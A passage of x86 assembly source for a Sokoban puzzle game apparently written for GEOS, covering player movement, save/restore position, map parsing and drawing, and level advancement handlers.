cmp dl, SST_SAFE_BAG ; saved bag?
jne next
jmp checkBag ; see if 2nd bag
next:
;
; They didn't hit anything, so try again.
;
inc bp ; counter
jmp searchLoop
gotCount:
;
; If they pushed a bag (dh >= 1), we're off by one. This
; is because the loop we just went through checks the "next
; square" to see if we should stop. If we're pushing a bag,
; we're actually one behind the "next square" and don't need
; to move as far to complete the run. Trust me.
;
tst dh ; pushed a bag?
jz noAdjust ; nope! all is well.
adjust::
tst bp ; already zero?
jz done ; yep! bail.
dec bp ; fix off-by-one
noAdjust:
;
; Loop bp times, in direction cx, calling MovePlayerCommon.
;
tst bp
jz done
push ds:[LMBH_handle] ; block might move
moveLoop:
call MovePlayerCommon
dec bp
jnz moveLoop
;
; If they solved the level as a result of the last move (a
; distinct possibility), then the map resizes, the object block
; moves, and *ds:si is now garbage. Since UpdateMan takes
; *ds:si = MapInstance, we need to update ds.
;
pop bx
call MemDerefDS ; *ds:si = Map
done:
;
; Put the man's legs together and make him face the nearest
; bag, if any.
;
mov es:[mapOffset], si
call UpdateMan
.leave
ret
MapShiftMove endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MapControlMove
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User did a ctrl+direction.
CALLED BY: MSG_MAP_CONTROL_MOVE
PASS: *ds:si = MapContentClass object
ds:di = MapContentClass instance data
es = dgroup
cx = MovementDirection
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
- figure out how far to move them (number of moves)
- loop that many times, calling MovePlayer
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 7/ 9/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MapControlMove method dynamic MapContentClass,
MSG_MAP_CONTROL_MOVE
.enter
;
; Search the map in the direction of movement until we
; find a wall or bag (there has to be one or the other,
; since all maps are closed). Bag can be saved.
;
mov bx, es:[currentMap].M_header.MH_position.P_x
mov ax, es:[currentMap].M_header.MH_position.P_y
;(bx,ax) = pos
clr bp ; counter
searchLoop:
cmp cx, MD_UP
jne notUp
dec ax ; move up by 1
jmp gotCoords
notUp:
cmp cx, MD_LEFT
jne notLeft
dec bx ; move left by 1
jmp gotCoords
notLeft:
cmp cx, MD_RIGHT
jne notRight
inc bx ; move right by 1
jmp gotCoords
notRight:
inc ax ; move down by 1
gotCoords:
push ax, bx ; current coords
call ConvertArrayCoordinates ; bx <- offset
mov dl, {byte} es:[currentMap + (size MapHeader)][bx]
pop ax, bx ; current coords
cmp dl, SST_WALL_NSEW ; wall?
jbe gotCount
cmp dl, SST_BAG ; bag?
je gotCount
cmp dl, SST_SAFE_BAG ; saved bag?
je gotCount
;
; They didn't hit anything, so try again.
;
inc bp ; counter
jmp searchLoop
gotCount:
;
; Loop bp times, in direction cx, calling MovePlayerCommon.
;
tst bp
jz done
push ds:[LMBH_handle]
moveLoop:
call MovePlayerCommon
dec bp
cmp bp, 0
ja moveLoop
;
; if they solved the level, the map resizes and ds is garbage
;
pop bx
call MemDerefDS ; *ds:si = TheMap
done:
mov es:[mapOffset], si
call UpdateMan
.leave
ret
MapControlMove endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MapSavePosition
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User saves a position.
CALLED BY: MSG_MAP_SAVE_POSITION
PASS: es = dgroup
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
- copy the whole map into a temporary storage place,
- stuff the tempSave variable(s).
- enable the restore-position trigger
SIDE EFFECTS/IDEAS:
You can't undo after saving/restoring position. This
simplifies things somewhat from a code standpoint, and
I can't see why you'd ever want to save your position
if you needed to undo a move, anyway.
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MapSavePosition method MapContentClass,
MSG_MAP_SAVE_POSITION
uses ax,cx,dx,bp
.enter
BitSet es:[gameState], SGS_SAVED_POS
;
; Move the currentMap into the saveMap.
;
segmov ds, es, cx
mov di, offset saveMap
mov si, offset currentMap
mov cx, size Map
rep movsb
;
; Save moves and pushes
;
mov ax, es:[moves]
mov es:[tempSave].TSS_moves, ax
mov ax, es:[pushes]
mov es:[tempSave].TSS_pushes, ax
;
; Enable the restore-position trigger
;
GetResourceHandleNS RestorePositionTrigger, bx
mov si, offset RestorePositionTrigger
mov di, mask MF_CALL
mov ax, MSG_GEN_SET_ENABLED
mov dl, VUM_NOW
call ObjMessage
.leave
ret
MapSavePosition endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MapRestorePosition
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User restores a saved position.
CALLED BY: MSG_MAP_RESTORE_POSITION
PASS: es = dgroup
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
- disable the restore-position trigger
- move the saveMap into the currentMap
- get the global variables set from the tempSave structure
- redraw the screen
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 11/16/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MapRestorePosition method MapContentClass,
MSG_MAP_RESTORE_POSITION
uses ax,cx,dx,bp
.enter
push ds:[LMBH_handle], si
mov ax, MSG_GEN_SET_NOT_ENABLED
call EnableRestoreTrigger ; disable me
call EnableUndoTrigger ; me too
BitClr es:[gameState], SGS_CAN_UNDO
;
; Move the saveMap into the currentMap.
;
segmov ds, es, cx
mov di, offset currentMap
mov si, offset saveMap
mov cx, size Map
rep movsb
;
; Recover moves, pushes, saved-bags and position.
;
mov ax, es:[tempSave].TSS_moves
mov es:[moves], ax
mov ax, es:[tempSave].TSS_pushes
mov es:[pushes], ax
;
; Update the animation stuff.
;
andnf es:[walkInfo], not (mask WS_DIR or mask WS_FACE or \
mask WS_LEGS or mask WS_PUSH)
mov bx, es:[currentMap].M_header.MH_position.P_x
mov ax, es:[currentMap].M_header.MH_position.P_y
call ConvertArrayCoordinates ; bx = offset
cmp {byte} es:[currentMap + (size MapHeader)][bx], \
SST_SAFE_PLAYER
jne notSafe
ornf es:[walkInfo], mask WS_SAFE
jmp doneWalkInfo
notSafe:
andnf es:[walkInfo], not mask WS_SAFE ; clear it
doneWalkInfo:
;
; Invalidate the map, causing it to redraw
;
pop bx, si ; restore ourselves
call MemDerefDS
mov di, mask MF_CALL
mov ax, MSG_VIS_INVALIDATE
call ObjCallInstanceNoLock
;
; Update all the GenValues.
;
call UpdateMovesData
call UpdatePushesData
call UpdateSavedData
.leave
ret
MapRestorePosition endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MapUndoLevel
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User frustratedly wants to start the level over (hahahaha)
CALLED BY: MSG_MAP_UNDO_LEVEL
PASS: es = dgroup
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MapUndoLevel method MapContentClass,
MSG_MAP_UNDO_LEVEL
uses ax,bp
.enter
if DOCUMENT_CONTROL
call DirtyTheSavedGame
endif
BitClr es:[gameState], SGS_CAN_UNDO
mov ax, MSG_GEN_SET_NOT_ENABLED
call EnableUndoTrigger
; jfh - since advancing a level clears the saved pos flag we want to
; save it first
mov ax, es:[gameState]
push ax
;
; Basically treat it like they just advanced to this level.
; (This message handler will invalidate the content as well).
;
dec es:[level]
call GeodeGetProcessHandle
mov ax, MSG_SOKOBAN_ADVANCE_LEVEL
mov di, mask MF_CALL
call ObjMessage
;
; Howsomeever, they should be able to restore position after
; the undo-level, so we re-enable the restore-position trigger.
;
; jfh - but, only if there was already a saved pos on this level
;
; BitSet es:[gameState], SGS_SAVED_POS
pop ax
test ax, mask SGS_SAVED_POS
jz dontSet
BitSet es:[gameState], SGS_SAVED_POS
dontSet:
mov ax, MSG_GEN_SET_ENABLED
call EnableRestoreTrigger ; enable me
;
; Update the status bar. Level & bags shouldn't have changed.
;
call UpdateSavedData
call UpdateMovesData
call UpdatePushesData
.leave
ret
MapUndoLevel endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MapContentVisDraw
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draws the currentMap on the screen.
CALLED BY: MSG_VIS_DRAW
PASS: *ds:si = MapContentClass object
ds:di = MapContentClass instance data
es = dgroup
^hbp = GState to draw through
RETURN: nothing
DESTROYED: cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MapContentVisDraw method dynamic MapContentClass,
MSG_VIS_DRAW
uses ax
drawState local hptr.GState push bp
startX local word
xPos local word
yPos local word
column local byte
.enter
;
; Get a GState for moving the man (different from the
; gstate which is passed to us in this handler, which
; will be destroyed.)
;
call CreateUsefulGState
;
; Initialize local variables.
;
clr ax
mov xPos, ax
mov yPos, ax
mov startX, ax
;
; Set up the counter (# bytes in the map)
;
mov ax, MAX_ROWS
mov cx, MAX_COLUMNS
mul cx
mov_tr cx, ax ; cx = #bytes (data)
;
; Point es:di to the first of the map-array bytes.
;
lea di, es:[currentMap].M_data ; es:di = map array
; jfh - bail out if there's nothing to draw
mov bl, {byte} es:[di] ; get first byte
clr bh
tst bx
jz dontDraw
clr column
mov bx, handle Bitmaps
call MemLock
mov ds, ax
mapLoop:
clr bh
mov bl, {byte} es:[di] ; get next byte
push di ; save pointer into map
call GetCorrectBitmapFromCharacter ; ds:si = bitmap
jc doneDrawing ; don't crash.
mov ax, xPos ; x-coordinate
mov bx, yPos ; y-coordinate
mov di, drawState ; passed gstate
clr dx ; no callback
call GrDrawBitmap
doneDrawing:
;
; ss:[column] keeps track of what column we're on, so we
; can keep xPos and yPos up to date.
;
inc column
cmp column, MAX_COLUMNS ; end of row?
jl sameRow ; nope, skip doing new row
;
; start a new row. Reset X, increment Y.
;
clr column
mov ax, startX
mov xPos, ax
mov dx, yPos
add dx, es:[bitmapHeight]
mov yPos, dx
jmp donePosition
sameRow:
mov dx, xPos
add dx, es:[bitmapWidth]
mov xPos, dx
donePosition:
;
; now column, xPos and yPos are set. Restore the map pointer
; and continue.
;
pop di ; restore pointer into map
inc di
loop mapLoop
;
; Unlock the Bitmaps resource.
;
mov bx, handle Bitmaps
call MemUnlock
dontDraw:
.leave
ret
MapContentVisDraw endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ReadMap
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Update currentMap based on the default map for this level
CALLED BY: internal (lots of places)
PASS: es = dgroup
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
Computes & sets global variables: packets, saved, position
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 1/ 6/94 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConvertTextMap proc far
uses ax,bx,dx,si,di,ds
.enter
;
; Get si pointing to the right map using the offset-table.
;
Assert dgroup es
mov bx, es:[level]
dec bx ; 0-indexed table
shl bx ; word-sized offsets
mov si, cs:[screenOffsetTable][bx] ; si = screen offset
;
; Lock the appropriate resource. Screens are divided into
; resources of 15 screens (about 4k each), so we convert the
; current level into an offset into the resource table.
;
mov ax, es:[level] ; ax = 1-90
dec ax ; ax = 0-89
mov bx, SCREENS_PER_RESOURCE
clr dx ; dx.ax = screen #
div bx ; ax = 0-5
shl ax ; ax = 0-10
mov_tr bx, ax ; bx = table index
mov bx, cs:[screenResourceTable][bx]; bx = resource handle
jmp gotHandle
screenResourceTable hptr \
handle Screens1To15,
handle Screens16To30,
handle Screens31To45,
handle Screens46To60,
handle Screens61To75,
handle Screens76To90
gotHandle:
call MemLock
LONG jc done
mov ds, ax
mov si, ds:[si] ; ds:si <- ptr to map
mov di, offset es:[currentMap]
call ReadMapCommon ; read into currentMap
;
; Unlock the screens resource.
;
call MemUnlock
done:
.leave
ret
ConvertTextMap endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ReadMapCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Given a pointer to a text map, process and use it.
CALLED BY: UTILITY
PASS: ds:si = source Map structure
es:di = target Map structure
es = dgroup
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS: Updates currentMap from the passed map and various
other global variables.
PSEUDO CODE/STRATEGY:
for x = 0 to mapWidth - 1
for y = 0 to mapLength - 1
...handle non-wall, non-ground squares...
;
; Check for walls to EAST, WEST, NORTH, SOUTH
;
wallType = 0
if x > 0 && isWall(map[x - 1][y])
wallType = wallType or WEST
endif
if x < lastLegalXIndex && isWall(map[x + 1][y])
wallType = wallType or EAST
endif
if y > 0 && isWall(map[x][y - 1])
wallType = wallType or NORTH
endif
if y < lastLegalIndex && isWall(map[x][y + 1])
walltype = wallType or SOUTH
endif
end
end
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 2/ 1/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ReadMapCommon proc far
uses ax,bx,cx,dx,si,di,bp
targetMap local word push di
packetCount local byte
savedCount local byte
position local Point
loopBound local word
.enter
;
; Copy the MapHeader to the currentMap.
;
mov cx, size MapHeader
rep movsb ; si = si + 4
;
; Zero out the variables we're going to be counting.
;
clr ss:[packetCount]
clr ss:[savedCount]
mov ss:[position].P_x, -1
mov ss:[position].P_y, -1
;
; Set up the loop. To speed things up a bit, we only read
; as many rows as there are rows in the map. So for level
; 1, which only has 11 rows, we read 11 rows. Simple, eh?
;
; bx = keeps X-coord
; bp = keeps Y-coord
;
mov cx, MAX_COLUMNS
mov al, ds:[si-(size MapHeader)].M_header.MH_rows
mul cl
mov_tr ss:[loopBound], ax ; bound = rows * columns
clr bx, cx ; x = 0, y = 0
byteLoop:
lodsb
;
; Do the comparisons in the order of most-frequent
; occurrence: grass, ground, wall, bag, safe, player,
; safeplayer.
;
cmp al, '_'
jne notGrass
mov dl, SST_GRASS
jmp continue
notGrass:
cmp al, ' '
jne notGround
mov dl, SST_GROUND
jmp continue
notGround:
;
; The check for a wall is a little complex...
;
cmp al, '#'
jne notWall
call DetermineWallType ; dl = SokobanSquareType
jmp continue
notWall:
cmp al, '$'
jne notBag
inc ss:[packetCount] ; found another one!
mov dl, SST_BAG
jmp continue
notBag:
cmp al, '.'
jne notSafe
mov dl, SST_SAFE
jmp continue
notSafe:
cmp al, '*'
jne notSavedBag
inc ss:[packetCount] ; and another!
inc ss:[savedCount] ; ... saved one
mov dl, SST_SAFE_BAG
jmp continue
notSavedBag:
cmp al, '@'
jne notPlayer
mov ss:[position].P_x, bx ; store player's position
mov ss:[position].P_y, cx
mov dl, SST_PLAYER
jmp continue
notPlayer:
cmp al, '&'
jne notSafePlayer
mov ss:[position].P_x, bx ; column
mov ss:[position].P_y, cx ; row
mov dl, SST_SAFE_PLAYER
notSafePlayer:
;
; If we get here, the map is corrupted. Display
; and error and get out.
;
jmp done
continue:
;
; Write the byte into the currentMap (it's in dl).
;
push bx ; save column
mov al, dl
stosb
if 0
mov ax, cx ; (bx,ax) = (x,y)
call ConvertArrayCoordinates ; bx = offset
mov {byte} es:[bx][currentMap + (size MapHeader)], dl
endif
pop bx ; restore column
;
; Set up to loop.
;
inc bx ; column counter
cmp bx, MAX_COLUMNS
jb sameRow
clr bx ; column counter
inc cx ; row counter
sameRow:
cmp bx, ss:[loopBound]
jb byteLoop
done:
;
; write cached info to map header
;
mov di, ss:[targetMap]
mov al, ss:[packetCount]
mov bl, ss:[savedCount]
mov es:[di].MH_packets, al
mov es:[di].MH_saved, bl
movdw es:[di].M_header.MH_position, ss:[position], ax
.leave
ret
ReadMapCommon endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DetermineWallType
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Figure out what kind of wall we're looking at.
CALLED BY: ReadMap
PASS: ds:[si] = pointer AFTER where we're looking.
al = byte at ds:[si]
cx = row where we're looking
bx = column where we're looking
RETURN: dl = SokobanSquareType
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
JAG 1/ 5/94 Initial version
stevey 1/ 6/94 fixed N & S cases
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DetermineWallType proc near
uses si
.enter
;
; dl accumulates a SokobanSquareType.
;
EC < cmp al, '#' >
EC < ERROR_NE -1 >
CheckHack <SST_WALL eq 0>
clr dl ; dl <- SST_WALL (no neighbors)
dec si ; ds:si = our byte
;
; Look West
;
; if x > 0 && isWall(map[x - 1][y])
; wallType = wallType or WEST
; endif
;
tst bx ; x > 0?
jz noWest
cmp {byte} ds:[si - 1], '#'
jne noWest
ornf dl, WEST
noWest:
;
; Look East
;
; if x < MAX_COLUMNS - 1 && isWall(map[x + 1][y])
; wallType = wallType or EAST
; endif
;
cmp bx, MAX_COLUMNS - 1 ; x < max idx?
jz noEast
cmp {byte} ds:[si + 1], '#'
jne noEast
ornf dl, EAST
noEast:
;
; Look North
;
; if y > 0 && isWall(map[x][y - 1])
; wallType = wallType or NORTH
; endif
;
tst cx ; y > 0?
jz noNorth
cmp {byte} ds:[si - MAX_COLUMNS], '#'
jne noNorth
ornf dl, NORTH
noNorth:
;
; Look South
;
; if y < MAX_ROWS - 1 && isWall(map[x][y + 1])
; wallType = wallType or SOUTH
; endif
;
cmp cx, MAX_ROWS - 1 ; y < max idx?
jz noSouth
cmp {byte} ds:[si + MAX_COLUMNS], '#'
jne noSouth
ornf dl, SOUTH
noSouth:
.leave
ret
DetermineWallType endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SokobanAdvanceLevel
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Moves to the next level
CALLED BY: MSG_SOKOBAN_ADVANCE_LEVEL
PASS: es = dgroup
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SokobanAdvanceLevel method dynamic SokobanProcessClass,
MSG_SOKOBAN_ADVANCE_LEVEL
.enter
if DOCUMENT_CONTROL
;
; Save the game here (do the equivalent of an auto-save).
; We have auto-saving turned off because it freezes the game
; for a bit, causing the user to overshoot and kill people.
;
push es ; dgroup
GetResourceSegmentNS GenDocumentClass, es
mov bx, es
mov si, offset GenDocumentClass
mov ax, MSG_GEN_DOCUMENT_UPDATE
mov di, mask MF_RECORD
call ObjMessage ; ^hdi = event handle
pop es ; dgroup
mov cx, di
GetResourceHandleNS SokobanDocumentControl, bx
mov si, offset SokobanDocumentControl
mov ax, MSG_GEN_SEND_TO_CHILDREN
mov di, mask MF_FORCE_QUEUE
call ObjMessage
else
mov bx, es:[vmFileHandle]
call SaveGameToFile
endif
Assert dgroup es
;
; Increment the level before reading it in.
;
inc es:[level]
if EXTERNAL_LEVELS
;
; Handle external levels differently
;
test es:[gameState], mask SGS_EXTERNAL_LEVEL
jz internal
;
; Read the appropriate external level
;
mov cx, es:[level]
mov di, offset es:[currentMap]
call LoadUserLevel
jnc pastRead
;
; Unable to load external level
;
dec es:[level]
jmp done
internal:
endif ; EXTERNAL_LEVELS
if HIGH_SCORES
;
; Save the level, moves & pushes for scoring purposes.
;
mov ax, es:[level]
mov es:[scoreLevel], ax
mov ax, es:[moves]
mov es:[scoreMoves], ax
mov ax, es:[pushes]
mov es:[scorePushes], ax
endif
;
; See if they've won, and handle it specially if they have.
;
cmp es:[level], MAX_LEVELS
jg wonGame
;
; They haven't won, so go to the next level.
;
call ConvertTextMap ; does packets, saved & pos
pastRead::
;
; Set/clear the necessary state bits.
;
clr es:[moves]
clr es:[pushes]
andnf es:[gameState], not (mask SGS_CAN_UNDO or \
mask SGS_MOVED_BAG or \
mask SGS_SAVED_BAG or \
mask SGS_UNSAVED_BAG or \
mask SGS_SAVED_POS)
; jfh - want to set savpos flag so EnableRestoreTrigger will toggle
BitSet es:[gameState], SGS_SAVED_POS
;
; Disable the undo-move and restore-position triggers
;
mov ax, MSG_GEN_SET_NOT_ENABLED
call EnableUndoTrigger
call EnableRestoreTrigger
; jfh - now clear savpos flag since we're at a new level
BitClr es:[gameState], SGS_SAVED_POS
;
; Clear out the animation stuff.
;
andnf es:[walkInfo], not (mask WS_DIR or mask WS_FACE or \
mask WS_LEGS or mask WS_PUSH or \
mask WS_SAFE)
;
; Update the scrollbars
;
call UpdateContentSize
;
; Update the status bar
;
call UpdateMovesData
call UpdatePushesData
call UpdateLevelData
call UpdateBagsData
call UpdateSavedData
;
; Invalidate the map
;
GetResourceHandleNS TheMap, bx
mov si, offset TheMap
mov di, mask MF_CALL
mov ax, MSG_VIS_INVALIDATE
call ObjMessage
done::
.leave
ret
wonGame:
;
; Set the bit in state saying they're now in win-mode.
;
ornf es:[gameState], mask SGS_WON_GAME
;
; Put up a dialog telling them they've won.
;
GetResourceHandleNS WonGameDialog, bx
mov si, offset WonGameDialog
call UserDoDialog
if HIGH_SCORES
;
; See if they got a high score, and then just sit there
; waiting for them to start a new game or whatever.
;
segmov ds, es, ax ; ds = dgroup
call UpdateScoreList
endif
;
; Set-usable the replay-level dialog.
;
GetResourceHandleNS ReplayLevelDialog, bx
mov si, offset ReplayLevelDialog
mov di, mask MF_CALL
mov ax, MSG_GEN_SET_USABLE
mov dl, VUM_NOW
call ObjMessage
jmp done
SokobanAdvanceLevel endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UpdateContentSize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Make the content match the size of the board and force the
view to match it or become scrollable
CALLED BY: (INTERNAL)
PASS: es = dgroup
currentMap = set
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 12/17/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UpdateContentSize proc far
uses ax, bx, cx, dx, si, di, bp
.enter
;
; Compute the size of the board.
;
mov ax, es:[bitmapWidth]
mul es:[currentMap].M_header.MH_columns
mov_tr cx, ax
mov ax, es:[bitmapHeight]
mul es:[currentMap].M_header.MH_rows
mov_tr dx, ax
;
; Set that as the size of the content.
;
GetResourceHandleNS TheMap, bx
mov si, offset TheMap
mov ax, MSG_VIS_SET_SIZE
clr di
call ObjMessage
;
; Invalidate the content's geometry. This will cause the view to
; recalculate, too.
;
mov cl, mask VOF_GEOMETRY_INVALID
mov dl, VUM_NOW
mov ax, MSG_VIS_MARK_INVALID
mov di, mask MF_CALL
call ObjMessage
.leave
ret
UpdateContentSize endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SokobanReplayLevel
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User wants to replay a level.
CALLED BY: MSG_SOKOBAN_REPLAY_LEVEL
PASS: ds = es = dgroup
dx = level to replay
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
We can just call SokobanAdvanceLevel after setting the
global level appropriately.
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 6/25/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SokobanReplayLevel method dynamic SokobanProcessClass,
MSG_SOKOBAN_REPLAY_LEVEL
.enter
dec dx ; advance-level will increment
mov es:[level], dx
call GeodeGetProcessHandle
mov di, mask MF_CALL
mov ax, MSG_SOKOBAN_ADVANCE_LEVEL
call ObjMessage
.leave
ret
SokobanReplayLevel endm
if EXTERNAL_LEVELS ;-----------------------------------------------------
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SokobanPlayExternalLevel
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User wants to play an external level
CALLED BY: MSG_SOKOBAN_PLAY_EXTERNAL_LEVEL
PASS: ds = es = dgroup
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
If user is currently on an internal level, save the level number
Set the external level flag
Set level to dx-1
call AdvanceLevel
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 2/ 7/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SokobanPlayExternalLevel method dynamic SokobanProcessClass,
MSG_SOKOBAN_PLAY_EXTERNAL_LEVEL
uses ax, cx, dx, bp
.enter
;
; get the desired level
;
mov ax, MSG_GEN_VALUE_GET_VALUE
GetResourceHandleNS ExternalLevelValue, bx
mov si, offset ExternalLevelValue
mov di, mask MF_CALL
call ObjMessage ; dx = level
;
; save current level if appropriate
;
push es:[gameState]
push es:[level]
test es:[gameState], mask SGS_EXTERNAL_LEVEL
jnz load
ornf es:[gameState], mask SGS_EXTERNAL_LEVEL
mov ax, es:[level]
mov es:[internalLevel], ax
;
; load the external level
;
load:
dec dx
mov es:[level], dx
call GeodeGetProcessHandle
mov di, mask MF_CALL
mov ax, MSG_SOKOBAN_ADVANCE_LEVEL
call ObjMessage
jnc cleanup
;
; something went wrong, back out
;
pop es:[level]
pop es:[gameState]
jmp done
cleanup:
add sp, 4 ; pop garbage off stack
done:
.leave
ret
SokobanPlayExternalLevel endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SokobanPlayInternalLevel
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Return to playing internal levels
CALLED BY: MSG_SOKOBAN_PLAY_INTERNAL_LEVEL
PASS: es = dgroup
RETURN: nothing
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 2/ 7/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SokobanPlayInternalLevel method dynamic SokobanProcessClass,
MSG_SOKOBAN_PLAY_INTERNAL_LEVEL
uses ax, cx, dx, bp
.enter
;
; make sure we aren't already internal
;
